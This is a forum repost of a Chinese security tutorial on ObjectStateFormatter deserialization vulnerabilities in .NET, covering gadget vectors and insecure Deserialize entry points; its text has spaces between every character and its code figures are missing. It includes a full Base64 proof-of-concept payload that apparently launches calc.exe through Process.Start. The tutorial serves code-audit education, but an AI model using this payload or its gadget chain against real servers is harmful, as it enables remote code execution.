搜索

[2101] 2019-04-17_.NET高级代码审计（第十课）ObjectStateFormatter反序列化漏洞

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-16
2019-04-17_.NET高级代码审计（第十课）ObjectStateFormatter反序列化漏洞 . N E T 高 级 代 码 审 计 （ 第 十 课 ）   O b j e c t S t a t e F o r m a t t e r 反 序 列 化 漏 洞 原 创   I v a n 1 e e   d o t N e t 安 全 研 究 僧   2 0 1 9 - 0 4 - 1 7 一 、 前 言 O b j e c t S t a t e F o r m a t t e r 格 式 化 器 一 般 用 于 序 列 化 和 反 序 列 化 状 态 对 象 图 ， 如 常 用 的 V i e w S t a t e 就 是 通 过 这 个 类 做 序 列 化 的 ， 位 于 命 名 空 间 S y s t e m . W e b . U I ， 优 点 在 于 对 基 础 类 型 存 储 在 p a i r 、 H a s h t a b l e 等 数 据 结 构 里 的 时 候 序 列 化 速 度 很 快 。 但 是 使 用 反 序 列 化 不 受 信 任 的 二 进 制 文 件 会 导 致 反 序 列 化 漏 洞 从 而 实 现 远 程 R C E 攻 击 ， 本 文 笔 者 从 原 理 和 代 码 审 计 的 视 角 做 了 相 关 介 绍 和 复 现 。 二 、 序 列 化 下 面 通 过 使 用 O b j e c t S t a t e F o r m a t t e r 类 序 列 化 一 个 实 例 来 说 明 问 题 ， 首 先 定 义 T e s t C l a s s 对 象 定 义 了 三 个 成 员 ， 并 实 现 了 一 个 静 态 方 法 C l a s s M e t h o d 启 动 进 程 。   序 列 化 通 过 创 建 对 象 实 例 分 别 给 成 员 赋 值 同 B i n a r y F o r m a t t e r 一 样 ， 常 规 下 使 用 S e r i a l i z e 得 到 序 列 化 后 的 二 进 制 文 件 内 容 三 、 反 序 列 化 3 . 1 、 反 序 列 化 用 法 、 反 序 列 化 用 法 反 序 列 过 程 是 将 二 进 制 数 据 转 换 为 对 象 ， 通 过 创 建 一 个 新 对 象 的 方 式 调 用 D e s e r i a l i z e 方 法 实 现 的 ， 查 看 O b j e c t S t a t e F o r m a t t e r 格 式 化 器 定 义 一 样 实 现 了 I F o r m a t t e r 接 口 笔 者 通 过 创 建 新 对 象 的 方 式 调 用 D e s e r i a l i z e 方 法 实 现 的 具 体 实 现 代 码 可 参 考 以 下 反 序 列 化 后 得 到 T e s t C l a s s 类 的 成 员 N a m e 的 值 。 3 . 2 、 攻 击 向 量 、 攻 击 向 量 — A c t i v i t y S u r r o g a t e S e l e c t o r 由 于 上 一 篇 中 已 经 介 绍 了 漏 洞 的 原 理 ， 所 以 本 篇 就 不 再 冗 余 的 叙 述 ， 没 有 看 的 朋 友 请 参 考 《 . N E T 高 级 代 码 审 计 （ 第 八 课 ）   S o a p F o r m a t t e r 反 序 列 化 漏 洞 》 ， 不 同 之 处 是 用 了 O b j e c t S t a t e F o r m a t t e r 类 序 列 化 数 据 ， 同 样 也 是 通 过 重 写 I S e r i a l i z a t i o n S u r r o g a t e 调 用 自 定 义 代 码 ， 笔 者 这 里 依 旧 用 计 算 器 做 演 示 ， 生 成 的 二 进 制 文 件 打 开 后 如 下 图
按 照 惯 例 用 O b j e c t S t a t e F o r m a t t e r 类 的 D e s e r i a l i z e 方 法 反 序 列 化 最 后 反 序 列 化 成 功 后 弹 出 计 算 器 ， 但 同 样 也 抛 出 了 异 常 ， 这 在 W E B 服 务 情 况 下 会 返 回 5 0 0 错 误 。 3 . 3 、 攻 击 向 量 、 攻 击 向 量 — P S O b j e c t 由 于 笔 者 的 W i n d o w s 主 机 打 过 了 C V E - 2 0 1 7 - 8 5 6 5 （ W i n d o w s   P o w e r S h e l l 远 程 代 码 执 行 漏 洞 ） 的 补 丁 ， 利 用 不 成 功 ， 所 以 在 这 里 不 做 深 入 探 讨 ， 有 兴 趣 的 朋 友 可 以 自 行 研 究 。 有 关 于 补 丁 的 详 细 信 息 参 考 ： h t t p s : / / s u p p o r t . m i c r o s o f t . c o m / z h - c n / h e l p / 4 0 2 5 8 7 2 / w i n d o w s - p o w e r s h e l l - r e m o t e - c o d e - e x e c u t i o n - v u l n e r a b i l i t y 四 、 代 码 审 计 4 . 1 、 、 D e s e r i a l i z e 从 代 码 审 计 的 角 度 找 到 漏 洞 的 E n t r y P o i n t ， D e s e r i a l i z e 有 两 个 重 载 分 别 可 反 序 列 化 S t r e a m 和 字 符 串 数 据 ， 其 中 字 符 串 可 以 是 原 始 的 R a w 也 可 以 是 文 档 中 说 的 B a s e 6 4 字 符 串 ， 两 者 在 实 际 的 反 序 列 化 都 可 以 成 功 。 下 面 是 不 安 全 的 代 码 ： 攻 击 者 只 需 要 控 制 传 入 字 符 串 参 数 p a t h 便 可 轻 松 实 现 反 序 列 化 漏 洞 攻 击 。 也 可 以 使 用 下 面 的 这 段 不 安 全 代 码 触 发 漏 洞 ： 请 求 B a s e 6 4 的 P o c 可 成 功 触 发 弹 出 计 算 器 / w E y x B E A A Q A A A P / / / / 8 B A A A A A A A A A A w C A A A A S V N 5 c 3 R l b S w g V m V y c 2 l v b j 0 0 L j A u M C 4 w L C B D d W x 0 d X J l P W 5 l d X R y Y W w s I F B 1 Y m x p Y 0 t l e V R v a 2 V u P W I 3 N 2 E 1 Y z U 2 M T k z N G U w O D k F A Q A A A I Q B U 3 l z d G V t L k N v b G x l Y 3 R p b 2 5 z L k d l b m V y a W M u U 2 9 y d G V k U 2 V 0 Y D F b W 1 N 5 c 3 R l b S 5 T d H J p b m c s I G 1 z Y 2 9 y b G l i L C B W Z X J z a W 9 u P T Q u M C 4 w L j A s I E N 1 b H R 1 c m U 9 b m V 1 d H J h b C w g U H V i b G l j S 2 V 5 V G 9 r Z W 4 9 Y j c 3 Y T V j N T Y x O T M 0 Z T A 4 O V 1 d B A A A A A V D b 3 V u d A h D b 2 1 w Y X J l c g d W Z X J z a W 9 u B U l 0 Z W 1 z A A M A B g i N A V N 5 c 3 R l b S 5 D b 2 x s Z W N 0 a W 9 u c y 5 H Z W 5 l c m l j L k N v b X B h c m l z b 2 5 D b 2 1 w Y X J l c m A x W 1 t T e X N 0 Z W 0 u U 3 R y a W 5 n L C B t c 2 N v c m x p Y i w g V m V y c 2 l v b j 0 0 L j A u M C 4 w L C B D d W x 0 d X J l P W 5 l d X R y Y W w s I F B 1 Y m x p Y 0 t l e V R v a 2 V u P W I 3 N 2 E 1 Y z U 2 M T k z N G U w O D l d X Q g C A A A A A g A A A A k D A A A A A g A A A A k E A A A A B A M A A A C N A V N 5 c 3 R l b S 5 D b 2 x s Z W N 0 a W 9 u c y 5 H Z W 5 l c m l j L k N v b X B h c m l z b 2 5 D b 2 1 w Y X J l c m A x W 1 t T e X N 0 Z W 0 u U 3 R y a W 5 n L C B t c 2 N v c m x p Y i w g V m V y c 2 l v b j 0 0 L j A u M C 4 w L C B D d W x 0 d X J l P W 5 l d X R y Y W w s I F B 1 Y m x p Y 0 t l e V R v a 2 V u P W I 3 N 2 E 1 Y z U 2 M T k z N G U w O D l d X Q E A A A A L X 2 N v b X B h c m l z b 2 4 D I l N 5 c 3 R l b S 5 E Z W x l Z 2 F 0 Z V N l c m l h b G l 6 Y X R p b 2 5 I b 2 x k Z X I J B Q A A A B E E A A A A A g A A A A Y G A A A A C y 9 j I G N h b G M u Z X h l B g c A A A A D Y 2 1 k B A U A A A A i U 3 l z d G V t L k R l b G V n Y X R l U 2 V y a W F s a X p h d G l v b k h v b G R l c g M A A A A I R G V s Z W d h d G U H b W V 0 a G 9 k M A d t Z X R o b 2 Q x A w M D M F N 5 c 3 R l b S 5 E Z W x l Z 2 F 0 Z V N l c m l h b G l 6 Y X R p b 2 5 I b 2 x k Z X I r R G V s Z W d h d G V F b n R y e S 9 T e X N 0 Z W 0 u U m V m b G V j d G l v b i 5 N Z W 1 i Z X J J b m Z v U 2 V y a W F s a X p h d G l v b k h v b G R l c i 9 T e X N 0 Z W 0 u U m V m b G V j d G l v b i 5 N Z W 1 i Z X J J b m Z v U 2 V y a W F s a X p h d G l v b k h v b G R l c g k I A A A A C Q k A A A A J C g A A A A Q I A A A A M F N 5 c 3 R l b S 5 E Z W x l Z 2 F 0 Z V N l c m l h b G l 6 Y X R p b 2 5 I b 2 x k Z X I r R G V s Z W d h d G V F b n R y e Q c A A A A E d H l w Z Q h h c 3 N l b W J s e Q Z 0 Y X J n Z X Q S d G F y Z 2 V 0 V H l w Z U F z c 2 V t Y m x 5 D n R h c m d l d F R 5 c G V O Y W 1 l C m 1 l d G h v Z E 5 h b W U N Z G V s Z W d h d G V F b n R y e Q E B A g E B A Q M w U 3 l z d G V t L k R l b G V n Y X R l U 2 V y a W F s a X p h d G l v b k h v b G R l c i t E Z W x l Z 2 F 0 Z U V u d H J 5 B g s A A A C w A l N 5 c 3 R l b S 5 G d W 5 j Y D N b W 1 N 5 c 3 R l b S 5 T d H J p b m c s I G 1 z Y 2 9 y b G l i L C B W Z X J z a W 9 u P T Q u M C 4 w L j A s I E N 1 b H R 1 c m U 9 b m V 1 d H J h b C w g U H V i b G l j S 2 V 5 V G 9 r Z W 4 9 Y j c 3 Y T V j N T Y x O T M 0 Z T A 4 O V 0 s W 1 N 5 c 3 R l b S 5 T d H J p b m c s I G 1 z Y 2 9 y b G l i L C B W Z X J z a W 9 u P T Q u M C 4 w L j A s I E N 1 b H R 1 c m U 9 b m V 1 d H J h b C w g U H V i b G l j S 2 V 5 V G 9 r Z W 4 9 Y j c 3 Y T V j N T Y x O T M 0 Z T A 4 O V 0 s W 1 N 5 c 3 R l b S 5 E a W F n b m 9 z d G l j c y 5 Q c m 9 j Z X N z L C B T e X N 0 Z W 0 s I F Z l c n N p b 2 4 9 N C 4 w L j A u M C w g Q 3 V s d H V y Z T 1 u Z X V 0 c m F s L C B Q d W J s a W N L Z X l U b 2 t l b j 1 i N z d h N W M 1 N j E 5 M z R l M D g 5 X V 0 G D A A A A E t t c 2 N v c m x p Y i w g V m V y c 2 l v b j 0 0 L j A u M C 4 w L C B D d W x 0 d X J l P W 5 l d X R y Y W w s I F B 1 Y m x p Y 0 t l e V R v a 2 V u P W I 3 N 2 E 1 Y z U 2 M T k z N G U w O D k K B g 0 A A A B J U 3 l z d G V t L C B W Z X J z a W 9 u P T Q u M C 4 w L j A s I E N 1 b H R 1 c m U 9 b m V 1 d H J h b C w g U H V i b G l j S 2 V 5 V G 9 r Z W 4 9 Y j c 3 Y T V j N T Y x O T M 0 Z T A 4 O Q Y O A A A A G l N 5 c 3 R l b S 5 E a W F n b m 9 z d G l j c y 5 Q c m 9 j Z X N z B g 8 A A A A F U 3 R h c n Q J E A A A A A Q J A A A A L 1 N 5 c 3 R l b S 5 S Z W Z s Z W N 0 a W 9 u L k 1 l b W J l c k l u Z m 9 T Z X J p Y W x p e m F 0 a W 9 u S G 9 s Z G V y B w A A A A R O Y W 1 l D E F z c 2 V t Y m x 5 T m F t Z Q l D b G F z c 0 5 h b W U J U 2 l n b m F 0 d X J l C l N p Z 2 5 h d H V y Z T I K T W V t Y m V y V H l w Z R B H Z W 5 l c m l j Q X J n d W 1 l b n R z A Q E B A Q E A A w g N U 3 l z d G V t L l R 5 c G V b X Q k P A A A A C Q 0 A A A A J D g A A A A Y U A A A A P l N 5 c 3 R l b S 5 E a W F n b m 9 z d G l j c y 5 Q c m 9 j Z X N z I F N 0 Y X J 0 K F N 5 c 3 R l b S 5 T d H J p b m c s I F N 5 c 3 R l b S 5 T d H J p b m c p B h U A A A A % 2 B U 3 l z d G V t L k R p Y W d u b 3 N 0 a W N z L l B y b 2 N l c 3 M g U 3 R h c n Q o U 3 l z d G V t L l N 0 c m l u Z y w g U 3 l z d G V t L l N 0 c m l u Z y k I A A A A C g E K A A A A C Q A A A A Y W A A A A B 0 N v b X B h c m U J D A A A A A Y Y A A A A D V N 5 c 3 R l b S 5 T d H J p b m c G G Q A A A C t J b n Q z M i B D b 2 1 w Y X J l K F N 5 c 3 R l b S 5 T d H J p b m c s I F N 5 c 3 R l b S 5 T d H J p b m c p B h o A A A A y U 3 l z d G V t L k l u d D M y I E N v b X B h c m U o U 3 l z d G V t L l N 0 c m l u Z y w g U 3 l z d G V t L l N 0 c m l u Z y k I A A A A C g E Q A A A A C A A A A A Y b A A A A c V N 5 c 3 R l b S 5 D b 2 1 w Y X J p c 2 9 u Y D F b W 1 N 5 c 3 R l b S 5 T d H J p b m c s I G 1 z Y 2 9 y b G l i L C B W Z X J z a W 9 u P T Q u M C 4 w L j A s I E N 1 b H R 1 c m U 9 b m V 1 d H J h b C w g U H V i b G l j S 2 V 5 V G 9 r Z W 4 9 Y j c 3 Y T V j N T Y x O T M 0 Z T A 4 O V 1 d C Q w A A A A K C Q w A A A A J G A A A A A k W A A A A C g s =
最 后 附 上 动 图 效 果 图 六 、 总 结 实 际 开 发 中 O b j e c t S t a t e F o r m a t t e r 通 常 用 在 处 理 V i e w S t a t e 状 态 视 图 ， 虽 说 用 的 频 率 并 不 高 ， 但 一 旦 未 注 意 到 数 据 反 序 列 化 安 全 处 理 ， 就 会 产 生 反 序 列 化 漏 洞 。 最 后 . N E T 反 序 列 化 系 列 课 程 笔 者 会 同 步 到   h t t p s : / / g i t h u b . c o m / I v a n 1 e e / 、 h t t p s : / / i v a n 1 e e . g i t b o o k . i o / ， 后 续 笔 者 将 陆 续 推 出 高 质 量 的 . N E T 反 序 列 化 漏 洞 文 章 ， 欢 迎 大 伙 持 续 关 注 ， 交 流 ， 更 多 的 . N E T 安 全 和 技 巧 可 关 注 实 验 室 公 众 号 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理